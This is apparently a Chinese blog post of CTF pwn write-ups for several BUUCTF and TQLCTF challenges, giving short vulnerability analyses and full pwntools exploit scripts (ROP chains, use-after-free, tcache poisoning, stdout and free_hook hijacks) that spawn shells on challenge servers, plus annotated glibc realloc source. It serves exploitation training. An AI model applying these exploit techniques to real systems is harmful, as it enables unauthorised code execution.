BUUCTF-pwn(16)

强网杯2019 拟态 STKOF

本题目两个二进制文件,64位与32位

该题目加入了拟态的检查机制,题目会fork32位程序和64位程序,而我们的输入会分别传入这个两个进程,每个程序一份,然后题目会检测两个程序的输出,若两个程序的输出不一致或任一程序或者异常退出,则会被判断为check down,直接断开链接。只有两个程序的输入一致时,才能通过检查

在这里插入图片描述
本题难度经过合理拆分难度不大,首先本地通过64位、32位脚本,然后利用0x8字节差距,使用32位add esp,0x7c;pop;ret来进行错误,并输入\x00进行截断。
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux')

binary32 = './pwn'
binary64 = './pwn2'
r = remote('node4.buuoj.cn',27540)
#r = process(binary32)
elf32 = ELF(binary32)
elf64 = ELF(binary64)

# 32
'''bss_addr = 0x080DA320
read_addr = elf32.symbols['read']
int80 = 0x080495a3
pop_ebx_esi_ebi_ret = 0x08049b19
pop_eax_edx_ebx_ret = 0x08055f54
pop_ecx_ebx_ret = 0x0806e9f2
payload = b'a'*0x110+p32(read_addr)+p32(pop_ebx_esi_ebi_ret)+p32(0)+p32(bss_addr)+p32(0x8)
payload += p32(pop_eax_edx_ebx_ret)+p32(0xb)+p32(0)+p32(0)+p32(pop_ecx_ebx_ret)+p32(0)+p32(bss_addr)+p32(int80)
#gdb.attach(r)
r.sendlineafter("try to pwn it?",payload)
r.send(b'/bin/sh\x00')'''
#
# 64
'''bss_addr = 0x00000000006A32E0
read_addr = elf64.symbols['read']
syscall = 0x00000000004011dc
pop_rdx_rsi_ret = 0x000000000043d9f9
pop_rdi_ret = 0x00000000004005f6
pop_rax_ret = 0x000000000043b97c
payload = b'a'*0x118+p64(pop_rdi_ret)+p64(0)+p64(pop_rdx_rsi_ret)+p64(0x8)+p64(bss_addr)+p64(read_addr)
payload += p64(pop_rdi_ret)+p64(bss_addr)+p64(pop_rdx_rsi_ret)+p64(0)*2+p64(pop_rax_ret)+p64(0x3b)+p64(syscall)#0x188
r.sendlineafter("try to pwn it?",payload)
r.send(b'/bin/sh\x00')'''
bss_addr64 = 0x00000000006A32E0
read_addr64 = elf64.symbols['read']
syscall = 0x00000000004011dc
pop_rdx_rsi_ret = 0x000000000043d9f9
pop_rdi_ret = 0x00000000004005f6
pop_rax_ret = 0x000000000043b97c
bss_addr32 = 0x080DA320
#
int80 = 0x080495a3
read_addr32 = elf32.symbols['read']
pop_ebx_esi_ebi_ret = 0x08049b19
pop_eax_edx_ebx_ret = 0x08055f54
pop_ecx_ebx_ret = 0x0806e9f2
payload = b'a'*0x110+p32(0x0804933F)+p32(0)+p64(pop_rdi_ret)+p64(0)+p64(pop_rdx_rsi_ret)+p64(0x8)+p64(bss_addr64)+p64(read_addr64)
payload += p64(pop_rdi_ret)+p64(bss_addr64)+p64(pop_rdx_rsi_ret)+p64(0)*2+p64(pop_rax_ret)+p64(0x3b)+p64(syscall)#0x188
payload = payload.ljust(0x190,b'b')+p32(0)*4+p32(read_addr32)+p32(pop_ebx_esi_ebi_ret)+p32(0)+p32(bss_addr32)+p32(0x8)
payload += p32(pop_eax_edx_ebx_ret)+p32(0xb)+p32(0)+p32(0)+p32(pop_ecx_ebx_ret)+p32(0)+p32(bss_addr32)+p32(int80)
r.sendlineafter("try to pwn it?",payload)
r.send(b'/bin/sh\x00')
r.interactive()

gyctf_2020_document

分析主要函数!
在这里插入图片描述
发现函数主要存在于Free函数中,存在UAF漏洞!而且Edit函数每个chunk只可使用一次!
在这里插入图片描述
在这里插入图片描述

通过UAF漏洞,可以释放掉unsorted bin范围内的chunk,然后使用Show函数打印出main_arena+88地址,进而获取了libc地址!
此时两次申请Allocate,并通过一定的构造通过index为0的chunk来修改这两次申请的progameChunk的指向位置,此时可以指向free_hook,修改为system,然后释放获取权限!
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './gyctf_2020_document'
r = remote('node4.buuoj.cn',26299)
#r = process(binary)
elf = ELF(binary)
#libc = ELF('/home/pwn/pwn/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
libc = ELF('./libc-2.23.so')
def Allocate(sex,payload):
    r.sendlineafter("choice : \n",'1')
    r.sendlineafter("input name\n",'/bin/sh\x00')
    r.sendlineafter("input sex\n",str(sex))# W Y
    r.sendlineafter("input information\n",payload)

def Show(index):
    r.sendlineafter("choice : \n",'2')
    r.sendlineafter("index : \n",str(index))

def Edit(index,sex,payload):
    r.sendlineafter("choice : \n",'3')
    r.sendlineafter("index : \n",str(index))
    r.sendlineafter("sex?\n",str(sex))
    r.sendlineafter("information\n",payload)

def Free(index):
    r.sendlineafter("choice : \n",'4')
    r.sendlineafter("index : \n",str(index))

Allocate('W',b'a'*0x70)#0
Allocate('W',b'b'*0x70)#1
Free(0)
Show(0)
main_arena = u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-88
libc_base = main_arena-0x10-libc.symbols['__malloc_hook']
free_hook = libc_base+libc.symbols['__free_hook']
system = libc_base+libc.symbols['system']

Allocate('W',b'c'*0x70)#2
Allocate('W',b'd'*0x70)#3
Edit(0,'W',b'e'*8+p64(0x21)+p64(free_hook-0x10)+p64(0x1)+b'e'*8+p64(0x51)+b'e'*0x40)
Edit(3,'W',p64(system)+b'f'*0x68)
success("main_arena -> "+hex(main_arena))
success("libc_base -> "+hex(libc_base))
#gdb.attach(r)
Free(1)

r.interactive()

ciscn_2019_final_5

分析主要函数!
在这里插入图片描述
主体函数逻辑较为简单,分别为申请、释放、修改,无打印函数,故我们需要修改free_got为puts_got来泄露出函数地址。
在这里插入图片描述
申请函数!
在这里插入图片描述
释放函数!
在这里插入图片描述
编辑函数!

主要漏洞为index为16与0的区别,16为0x10,0为0x0。实则都为0,但是16却增加了0x10,故此时可以造成堆块重叠,利用tcache的不检查来修改got表,从而泄露地址并修改got表为system函数获取权限!
在这里插入图片描述

from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',os='linux',arch='amd64')

binary = './ciscn_final_5'
r = remote('node4.buuoj.cn',29578)
#r = process(binary)
elf = ELF(binary)
free_got = elf.got['free']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']
bss_note = 0x6020E0
def Allocate(index=0,size=0x18,payload=b'\n'):
    r.sendlineafter("your choice: ",'1')
    r.sendlineafter("index: ",str(index))
    r.sendlineafter("size: ",str(size))
    r.sendafter("content: ",payload)
    r.recvuntil("0x")
    return int(r.recv(3),16)

def Free(index):
    r.sendlineafter("your choice: ",'2')
    r.sendlineafter("index: ",str(index))

def Edit(index,payload):
    r.sendlineafter("your choice: ",'3')
    r.sendlineafter("index: ",str(index))
    r.sendafter("content: ",payload)

Allocate(16,0x18,p64(0)+p64(0xb1))#0
Allocate(1,0x90)#1
Free(1)
Free(0)

Allocate(1,0xa0)#0
Edit(1,p64(0)+p64(0xa1)+p64(bss_note))#write bss_note

Allocate(2,0x90)#1
Allocate(3,0x90)#2
Edit(3,p64(free_got-8)+p64(atoi_got-7)+p64(atoi_got))
Edit(0,p64(puts_plt)*2)
Free(1)
setvbuf_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher('setvbuf',setvbuf_addr)
licb_base = setvbuf_addr-libc.dump('setvbuf')
system = licb_base+libc.dump('system')

Edit(8,p64(system)*2)
success("libc_base -> "+hex(licb_base))
success(hex(bss_note))
#gdb.attach(r)
r.sendline(b'/bin/sh\x00')

r.interactive()

unbelievable_write(TQLCTF)

在这里插入图片描述
故思路为劫持tcache,然后达成任意地址写,从而修改free_got为main地址(需要注意,free_got与puts_got相邻,需要输入puts_plt,防止puts_got被破坏,而最后无法输入flag),此时再次利用任意地址写写入target,即可获取flag!
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './pwn'
r = remote('119.23.255.127',24918)
#r = process(binary)
elf = ELF(binary)
free_got = elf.got['free']
puts_plt = elf.plt['puts']
main = elf.symbols['main']
target = 0x0404080
def Allocate(size=0x18,payload=b'njh'):
    r.sendlineafter("> ",'1')
    r.sendline(str(size))
    r.sendline(payload)

def Free(index):
    r.sendlineafter("> ",'2')
    r.sendline(str(index))

def shell():
    r.sendlineafter("> ",'3')

'''Allocate(0x18,b'aaaa')#1
Allocate(0x80,b'b'*0x10+p64(0)+p64(0x21))#2
Free(0x60)
Allocate(0x80,b'c'*0x18+p64(0x21)+p64(target))
Allocate(0x18,b'd')'''
Allocate(0x90)#0
Free(-0x290)
Allocate(0x280,p64(0)*2+p64(0x1)+p64(0)*21+p64(free_got))
Allocate(0x90,p64(main)+p64(0x401040))#修改free_got为main函数

Allocate(0x280,p64(0)*2+p64(0x1)+p64(0)*21+p64(target))
Allocate(0x90,b'/bin/sh\x00')
success(hex(target))
#gdb.attach(r,'b *0x40157b')
shell()

r.interactive()

roarctf_2019_realloc_magic

realloc(ptr,size);

  1. realloc() 对 ptr 指向的内存重新分配 size 大小的空间,size 可比原来的大或者小,还可以不变(如果你无聊的话)。
  2. 当 malloc()、calloc() 分配的内存空间不够用时,就可以用 realloc() 来调整已分配的内存。
  3. 如果== ptr 为 NULL,它的效果和 malloc() 相同==,即分配 size 字节的内存空间。
  4. 如果 size 的值为 0,那么 ptr 指向的内存空间就会被释放,但是由于没有开辟新的内存空间,所以会返回空指针;类似于调用 free()。

在这里插入图片描述
函数逻辑较为简单,但是发现没有输入函数,且全保护开启,故需要劫持_ IO _ 2 _ 1 _ stdout _进行泄露地址,此时便需要爆破一位地址,1/16的概率。
最主要逻辑为
申请3个大小不一chunk,chunk1、chunk2、chunk3;
依次Allocate(0)相当于Free,但是指针会返回0,故可以布局出三个chunk;
然后申请chunk2,Free()7次,填满tcache块,然后Allocate(),将会放入unsorted bin中,此时fd指针指向libc;
此时申请chunk1,再次申请Allocate(chunk1->size+chunk2->size),此时chunk1会于chunk2合并,修改chunk2的size域为小数,以及fd指针低2位爆破 _ IO _ 2 _ 1 _ stdout _ 地址;
然后Allocate(),会将chunk2放入设置好的size的tcache块中,此时再次申请chunk2将会申请到 _ IO _ 2 _ 1 _ stdout _地址

在这里插入图片描述

from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',os='linux',arch='amd64')

binary = './roarctf_2019_realloc_magic'
#r = process(binary)
elf = ELF(binary)

def Allocate(size=0x18,payload=b'\n'):
    r.sendlineafter(">> ",'1')
    r.sendlineafter("Size?\n",str(size))
    r.sendafter("Content?\n",payload)

def Free():
    r.sendlineafter(">> ",'2')

def shell():
    r.sendlineafter(">> ",'666')

def pwn():
    Allocate(0x110)#2
    Allocate(0x70)#1
    Allocate(0x200)#3

    Allocate(0)
    Allocate(0x90)#将2申请
    for i in range(7):
        Free()#填充0x120tcache块
    Allocate(0)#free 2,此时2为unsorted bin
    Allocate(0x70)#申请1
    Allocate(0x110,b'a'*0x70+p64(0)+p64(0x41)+b'\x60\xa7')#并与2进行合并

    Allocate(0)
    Allocate(0x90,b'\x60\xa7')#爆破_IO_2_1_stdout_底二位地址
    Allocate(0)#Free 0x41
    #gdb.attach(r)
    Allocate(0x90,p64(0xfbad1887)+p64(0)*3+b'\x58')#申请到_IO_2_1_stdout_
    io_jmap_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))#_IO_file_jumps

    libc = LibcSearcher('_IO_file_jumps',io_jmap_addr)
    libc_base = io_jmap_addr-libc.dump('_IO_file_jumps')
    free_hook = libc_base+libc.dump('__free_hook')
    system = libc_base+libc.dump('system')
    success("_IO_file_jumps -> "+hex(io_jmap_addr))

    shell()#清空ptr,如果使用Allocate(0)则会发生double free错误
    Allocate(0x200)#3
    Allocate(0x100)#4
    Allocate(0)
    Allocate(0x18)#5
    Allocate(0)
    Allocate(0xf0)#6
    for i in range(7):
        Free()
    Allocate(0)#将6放入了unsorted bin中
    Allocate(0x100)#4
    Allocate(0x200,b'b'*0x100+p64(0)+p64(0xb0)+p64(free_hook-8))#修改6的size域及fd指针
    Allocate(0)#释放0x200
    Allocate(0xf0)#申请6
    Allocate(0)#放入0xb0 tcache块中
    Allocate(0xf0,b'/bin/sh\x00'+p64(system))#修改free_hook为system函数地址
    Free()
    #gdb.attach(r)]
    r.interactive()

while True:
    r = remote('node4.buuoj.cn',28020)
    try:
        pwn()
    except:
        pass

小知识realloc函数的实现

void *
__libc_realloc (void *oldmem, size_t bytes)
{
  mstate ar_ptr;
  INTERNAL_SIZE_T nb;         /* 填充请求大小 */

  void *newp;             /* 返回块 */

  void *(*hook) (void *, size_t, const void *) =
    atomic_forced_read (__realloc_hook);
  if (__builtin_expect (hook != NULL, 0))//检查是否存在__realloc_hook
    return (*hook)(oldmem, bytes, RETURN_ADDRESS (0));

#if REALLOC_ZERO_BYTES_FREES
  if (bytes == 0 && oldmem != NULL)//如果bytes为0且oldmem不为空则执行free函数
    {
      __libc_free (oldmem); return 0;
    }
#endif

  /* null的realloc应该与malloc相同 */
  if (oldmem == 0)//如果oldmem为空,则执行malloc函数
    return __libc_malloc (bytes);

  /* 对应于oldmem的块 */
  const mchunkptr oldp = mem2chunk (oldmem);
  /* its size */
  const INTERNAL_SIZE_T oldsize = chunksize (oldp);

  if (chunk_is_mmapped (oldp))//判断是否由mmap分配
    ar_ptr = NULL;
  else
    {
      MAYBE_INIT_TCACHE ();
      ar_ptr = arena_for_chunk (oldp);
    }

  /* 很少的安全检查不会影响性能:分配器
永远不要在地址空间的末尾绕来绕去。因此
我们可以排除此处可能出现的一些大小值
意外或是某个入侵者的“设计”。我们需要绕开
检查旧主竞技场上丢弃的假mmap块
因为新的malloc可能会提供额外的对齐.  */
  if ((__builtin_expect ((uintptr_t) oldp > (uintptr_t) -oldsize, 0)
       || __builtin_expect (misaligned_chunk (oldp), 0))
      && !DUMPED_MAIN_ARENA_CHUNK (oldp))//进行原子检查,官方为分支预测优化,为假可能性较大
      malloc_printerr ("realloc(): invalid pointer");

  checked_request2size (bytes, nb);//判断申请大小是否溢出,没有溢出的情况下sz记录实际分配的大小

  if (chunk_is_mmapped (oldp))
    {
      /* 如果这是一块从主竞技场卸下的假MMAP块,
始终复制(不要释放旧块).  */
      if (DUMPED_MAIN_ARENA_CHUNK (oldp))
	{
	  /* Must alloc, copy, free. */
	  void *newmem = __libc_malloc (bytes);//执行malloc函数
	  if (newmem == 0)
	    return NULL;
	  /* 从旧块中复制尽可能多的字节
并适合新尺寸。注:冒牌货的开销
mmapped chunks只是SIZE_SZ,而不是2*SIZE_SZ
规则映射块.  */
	  if (bytes > oldsize - SIZE_SZ)
	    bytes = oldsize - SIZE_SZ;
	  memcpy (newmem, oldmem, bytes);
	  return newmem;
	}

      void *newmem;

#if HAVE_MREMAP
      newp = mremap_chunk (oldp, nb);
      if (newp)
        return chunk2mem (newp);
#endif
      /* 注意额外的SIZE_SZ开销. */
      if (oldsize - SIZE_SZ >= nb)
        return oldmem;                         /* do nothing */

      /* Must alloc, copy, free. */
      newmem = __libc_malloc (bytes);//执行malloc函数
      if (newmem == 0)
        return 0;              /* propagate failure */

      memcpy (newmem, oldmem, oldsize - 2 * SIZE_SZ);//进行拷贝
      munmap_chunk (oldp);
      return newmem;//返回chunk
    }

  if (SINGLE_THREAD_P)
    {
      newp = _int_realloc (ar_ptr, oldp, oldsize, nb);
      assert (!newp || chunk_is_mmapped (mem2chunk (newp)) ||
	      ar_ptr == arena_for_chunk (mem2chunk (newp)));

      return newp;
    }

  __libc_lock_lock (ar_ptr->mutex);

  newp = _int_realloc (ar_ptr, oldp, oldsize, nb);//进入_int_realloc具体实现函数

  __libc_lock_unlock (ar_ptr->mutex);
  assert (!newp || chunk_is_mmapped (mem2chunk (newp)) ||
          ar_ptr == arena_for_chunk (mem2chunk (newp)));

  if (newp == NULL)
    {
      /* 努力在其他领域分配内存.  */
      LIBC_PROBE (memory_realloc_retry, 2, bytes, oldmem);
      newp = __libc_malloc (bytes);//利用malloc函数申请堆块
      if (newp != NULL)
        {
          memcpy (newp, oldmem, oldsize - SIZE_SZ);//进行拷贝数据
          _int_free (ar_ptr, oldp, 0);//释放掉原先的堆块
        }
    }

  return newp;//返回新堆块
}

int_realloc函数具体实现

void*
_int_realloc(mstate av, mchunkptr oldp, INTERNAL_SIZE_T oldsize,
	     INTERNAL_SIZE_T nb)
{
  mchunkptr        newp;            /* 返回块 */
  INTERNAL_SIZE_T  newsize;         /* its size */
  void*          newmem;          /* 对应的用户mem */

  mchunkptr        next;            /* oldp之后的下一个连续块 */

  mchunkptr        remainder;       /* newp末尾的额外空间 */
  unsigned long    remainder_size;  /* its size */

  mchunkptr        bck;             /* 链接的杂项温度 */
  mchunkptr        fwd;             /* misc temp for linking */

  unsigned long    copysize;        /* 要复制的字节数 */
  unsigned int     ncopies;         /* INTERNAL_SIZE_T words to copy */
  INTERNAL_SIZE_T* s;               /* 复制源 */
  INTERNAL_SIZE_T* d;               /* 复制目的地 */

  /* oldmem size */
  if (__builtin_expect (chunksize_nomask (oldp) <= 2 * SIZE_SZ, 0)
      || __builtin_expect (oldsize >= av->system_mem, 0))
    malloc_printerr ("realloc(): invalid old size");

  check_inuse_chunk (av, oldp);

  /* 所有来电者都已经过滤掉了mmap的区块.  */
  assert (!chunk_is_mmapped (oldp));

  next = chunk_at_offset (oldp, oldsize);
  INTERNAL_SIZE_T nextsize = chunksize (next);
  if (__builtin_expect (chunksize_nomask (next) <= 2 * SIZE_SZ, 0)
      || __builtin_expect (nextsize >= av->system_mem, 0))
    malloc_printerr ("realloc(): invalid next size");

  if ((unsigned long) (oldsize) >= (unsigned long) (nb))
    {
      /* 已经够大了;下面分开 */
      newp = oldp;
      newsize = oldsize;
    }

  else
    {
      /* 试着向前扩展到顶部 */
      if (next == av->top &&
          (unsigned long) (newsize = oldsize + nextsize) >=
          (unsigned long) (nb + MINSIZE))
        {
          set_head_size (oldp, nb | (av != &main_arena ? NON_MAIN_ARENA : 0));
          av->top = chunk_at_offset (oldp, nb);
          set_head (av->top, (newsize - nb) | PREV_INUSE);
          check_inuse_chunk (av, oldp);
          return chunk2mem (oldp);
        }

      /* 试着向前扩展到下一块;将下面的剩余部分分开 */
      else if (next != av->top &&
               !inuse (next) &&
               (unsigned long) (newsize = oldsize + nextsize) >=
               (unsigned long) (nb))//判断下一堆块使用标记位不为1,且不为top_chunk,总大小大于新申请大小
        {
          newp = oldp;
          unlink (av, next, bck, fwd);//进行合并
        }

      /* allocate, copy, free */
      else
        {
          newmem = _int_malloc (av, nb - MALLOC_ALIGN_MASK);//指向malloc申请函数
          if (newmem == 0)
            return 0; /* propagate failure */

          newp = mem2chunk (newmem);
          newsize = chunksize (newp);

          /*
             如果newp是oldp之后的下一个块,请避免复制.
           */
          if (newp == next)
            {
              newsize += oldsize;
              newp = oldp;
            }
          else
            {
              /*
                 展开小于等于36字节的副本(如果大小为8字节,则为72字节)
			我们知道内容有奇数个
			内部大小的单词;最少3个.
               */

              copysize = oldsize - SIZE_SZ;
              s = (INTERNAL_SIZE_T *) (chunk2mem (oldp));
              d = (INTERNAL_SIZE_T *) (newmem);
              ncopies = copysize / sizeof (INTERNAL_SIZE_T);
              assert (ncopies >= 3);

              if (ncopies > 9)
                memcpy (d, s, copysize);//进行拷贝

              else
                {
                  *(d + 0) = *(s + 0);
                  *(d + 1) = *(s + 1);
                  *(d + 2) = *(s + 2);
                  if (ncopies > 4)
                    {
                      *(d + 3) = *(s + 3);
                      *(d + 4) = *(s + 4);
                      if (ncopies > 6)
                        {
                          *(d + 5) = *(s + 5);
                          *(d + 6) = *(s + 6);
                          if (ncopies > 8)
                            {
                              *(d + 7) = *(s + 7);
                              *(d + 8) = *(s + 8);
                            }
                        }
                    }
                }

              _int_free (av, oldp, 1);
              check_inuse_chunk (av, newp);
              return chunk2mem (newp);
            }
        }
    }

  /* 如果可能,在旧块或扩展块中释放额外空间 */

  assert ((unsigned long) (newsize) >= (unsigned long) (nb));

  remainder_size = newsize - nb;

  if (remainder_size < MINSIZE)   /* 没有足够的额外费用分开 */
    {
      set_head_size (newp, newsize | (av != &main_arena ? NON_MAIN_ARENA : 0));
      set_inuse_bit_at_offset (newp, newsize);
    }
  else   /* 分割余数 */
    {
      remainder = chunk_at_offset (newp, nb);
      set_head_size (newp, nb | (av != &main_arena ? NON_MAIN_ARENA : 0));
      set_head (remainder, remainder_size | PREV_INUSE |
                (av != &main_arena ? NON_MAIN_ARENA : 0));
      /* 将剩余部分标记为inuse,这样自由()就不会抱怨了 */
      set_inuse_bit_at_offset (remainder, remainder_size);
      _int_free (av, remainder, 1);//将切割块执行free函数
    }

  check_inuse_chunk (av, newp);
  return chunk2mem (newp);
}

hgame2018_flag_server

在这里插入图片描述
逻辑较为简单!为整数安全!

from pwn import *
context(log_level='debug',os='linux',arch='i386')

binary = './flag_server'
r = remote('node4.buuoj.cn',25095)
#r = process(binary)
elf = ELF(binary)

r.sendlineafter('your username length: ','-1')
r.sendlineafter('whats your username?\n',b'a'*0x40+p32(1))
r.interactive()

ezvm(TQLCTF)

考点为shellcode编写、unicorn引擎
在这里插入图片描述
故我们需要判断回调函数,发现回调函数为基本的增删改查!
在这里插入图片描述
选择1:为修改Modify功能,采用了AllocateStruct->Modify函数来实现
在这里插入图片描述
选择2:Allocate申请函数,存入结构体中
在这里插入图片描述
在这里插入图片描述
选择3为Free
在这里插入图片描述
选择0:
在这里插入图片描述
此时可以发现读入选择为RAX寄存器,其syscall触发该回调函数。

sys_read 0、sys_write 1、sys_open 2、sys_close 3

官方wp

from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
sh = process('./easyvm')
#sh = remote("127.0.0.1",8001)
#gdb.attach(sh)
program = '''
lea r12, [rip+0x7F9]
lea r13, [rip+0x8F2]
lea r14, [rip+0xBEB]
mov rdi, r12
mov rsi, 0x70
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x210
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
mov rdi, 4
call sys_close
mov rdi, 5
call sys_close
mov rdi, 6
call sys_close
mov rdi, 7
call sys_close
mov rdi, 8
call sys_close
mov rdi, 9
call sys_close
mov rdi, 9
inc rdi
call sys_close
mov rdi, 9
inc rdi
inc rdi
call sys_close
inc rdi
call sys_close
mov rdi, r12
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
mov rdi, 9
inc rdi
inc rdi
mov rsi, r13
sub rsi, 0xC0
add rsi, 4
mov rdx, 0x8
call sys_read
mov r11, rsi
mov rcx, qword ptr[r11]
sub rcx, 0x1ec0d0
//libc_base
add rcx, 0x1EEB28
//__free_hook
mov r10, rcx
//r10 - freehook
lea rbx, [r13]
mov qword ptr[rbx],r10
add rbx, 8
add r10, 0x90
mov qword ptr[rbx],r10
add rbx, 8
add r10, 0x90
mov qword ptr[rbx],r10
add rbx, 8
add r10, 0x90
mov qword ptr[rbx],r10
sub rcx, 0x1EEB28
add rcx, 0x0000000000154930
lea rbx, [r14]
//rdx_gadget
mov qword ptr[rbx],rcx
add rbx, 8
sub rcx, 0x0000000000154930
add rcx, 0x1EEB28
add rcx, 0x10
mov qword ptr[rbx],rcx
add rbx, 0x28
sub rcx, 0x10
sub rcx, 0x1EEB28
add rcx, 0x580a0
add rcx, 61
mov qword ptr[rbx],rcx
//setcontext
add rbx, 0x80
sub rcx, 0x580a0
sub rcx, 61
add rcx, 0x1EEB28
add rcx, 0x148
mov qword ptr[rbx],rcx
add rbx, 0x8
sub rcx, 0x1EEB28
sub rcx, 0x148
add rcx, 0x0000000000025679
mov qword ptr[rbx],rcx
add rbx, 0x10
sub rcx, 0x0000000000025679
mov rdx, 51
mov qword ptr[rbx],rdx
add rbx, 0x38
mov rdx, 0x67616c662f2e
//./flag
mov qword ptr[rbx],rdx
add rbx, 0x48
add rcx, 0x0000000000026b72
// rdi
mov qword ptr[rbx],rcx
add rbx, 8
sub rcx, 0x0000000000026b72
add rcx, 0x1EEB28
add rcx, 0x100
mov qword ptr[rbx],rcx
add rbx, 8
sub rcx, 0x1EEB28
sub rcx, 0x100
add rcx, 0x0000000000027529
// rsi
mov qword ptr[rbx],rcx
add rbx, 8
mov rdx, 0
mov qword ptr[rbx],rdx
add rbx, 8
sub rcx, 0x0000000000027529
add rcx, 0x000000000004a550
// rax
mov qword ptr[rbx],rcx
add rbx, 8
mov rdx, 2
mov qword ptr[rbx],rdx
add rbx, 8
sub rcx, 0x000000000004a550
add rcx, 0x0000000000066229
mov qword ptr[rbx],rcx
add rbx, 8
sub rcx, 0x0000000000066229
add rcx, 0x0000000000026b72
// rdi
mov qword ptr[rbx],rcx
add rbx, 8
mov rdx, 3
mov qword ptr[rbx],rdx
add rbx, 8
sub rcx, 0x0000000000026b72
add rcx, 0x0000000000027529
mov qword ptr[rbx],rcx
// rsi
add rbx, 8
sub rcx, 0x0000000000027529
add rcx, 0x1EEB28
add rcx, 0x1000
mov qword ptr[rbx],rcx
add rbx, 8
sub rcx, 0x1EEB28
sub rcx, 0x1000
add rcx, 0x000000000011c371
mov qword ptr[rbx],rcx
//rdx
add rbx, 0x8
mov rdx, 0x40
mov qword ptr[rbx],rdx
add rbx, 0x10
sub rcx, 0x000000000011c371
add rcx, 0x206320
//read
mov qword ptr[rbx],rcx
add rbx, 0x8
sub rcx, 0x206320
add rcx, 0x0000000000026b72
mov qword ptr[rbx],rcx
//rdi
add rbx, 0x8
mov rdx, 1
mov qword ptr[rbx],rdx
add rbx, 0x8
sub rcx, 0x0000000000026b72
add rcx, 0x0000000000027529
mov qword ptr[rbx],rcx
// rsi
add rbx, 0x8
sub rcx, 0x0000000000027529
add rcx, 0x1EEB28
add rcx, 0x1000
mov qword ptr[rbx],rcx
add rbx, 0x8
sub rcx, 0x1EEB28
sub rcx, 0x1000
add rcx, 0x000000000011c371
mov qword ptr[rbx],rcx
//rdx
add rbx, 0x8
mov rdx, 0x40
mov qword ptr[rbx],rdx
add rbx, 0x10
sub rcx, 0x000000000011c371
add rcx, 0x206280
mov qword ptr[rbx],rcx
mov rdi, r13
sub rdi, 0xd0
mov rsi, 0x210
call sys_open
//12
mov rdi, 0x7
call sys_close
mov rdi, 0x6
call sys_close
mov rdi, 12
lea rsi, [r13+8]
mov rdx, 0x8
call sys_write
mov rdi, r13
mov rsi, 0x90
call sys_open
add rdi, 0x8
mov rsi, 0x90
call sys_open
mov rdi, 0x7
lea rsi, [r14+0x90]
mov rdx, 0x90
call sys_write
mov rdi, 0x3
call sys_close
mov rdi, 0x6
call sys_close
mov rdi, 12
lea rsi, [r13+16]
mov rdx, 0x8
call sys_write
lea rdi, [r12]
mov rsi, 0x90
call sys_open
lea rdi, [r12+12]
mov rsi, 0x90
call sys_open
mov rdi, 0x6
lea rsi, [r14+0x90+0x90]
mov rdx, 0x90
call sys_write
mov rdi, 0x4
call sys_close
mov rdi, 0x3
call sys_close
mov rdi, 12
lea rsi, [r13+24]
mov rdx, 0x8
call sys_write
lea rdi, [r12]
mov rsi, 0x90
call sys_open
lea rdi, [r12+4]
mov rsi, 0x90
call sys_open
mov rdi, 0x4
lea rsi, [r14+0x90+0x90+0x90]
mov rdx, 0x90
call sys_write
mov rdi, 0x5
call sys_close
mov rdi, 0x3
call sys_close
mov rdi, 12
lea rsi, [r13]
mov rdx, 0x8
call sys_write
lea rdi, [r12]
mov rsi, 0x90
call sys_open
lea rdi, [r12+8]
mov rsi, 0x90
call sys_open
mov rdi, 0x5
lea rsi, [r14]
mov rdx, 0x90
call sys_write
call terminate
sys_read:
mov rax, 0
syscall
ret
sys_write:
mov rax, 1
syscall
ret
sys_open:
mov rax, 2
syscall
ret
sys_close:
mov rax, 3
syscall
ret
terminate:
hlt
'''
data =b'./f\x00./a\x00./b\x00./c\x00./d\x00./e\x00./g\x00./j\x00./i\x00./l\x00./n\x00./m\x00./aaaaaaaaaaaaaaaaaaaaaa'.ljust(0x100, b'\x00') 
data+=(b'/bin/sh\x00./u\x00./v\x00').ljust(0x300, b'\x00') + b'\x00' * 0x900
sh.sendlineafter(b'code:\n', asm(program).ljust(0x800, b'\x90')+data.ljust(0x800, b'\x00'))
sh.interactive()
posted @ 2022-03-02 16:00  望权栈  阅读(24)  评论(0编辑  收藏  举报  来源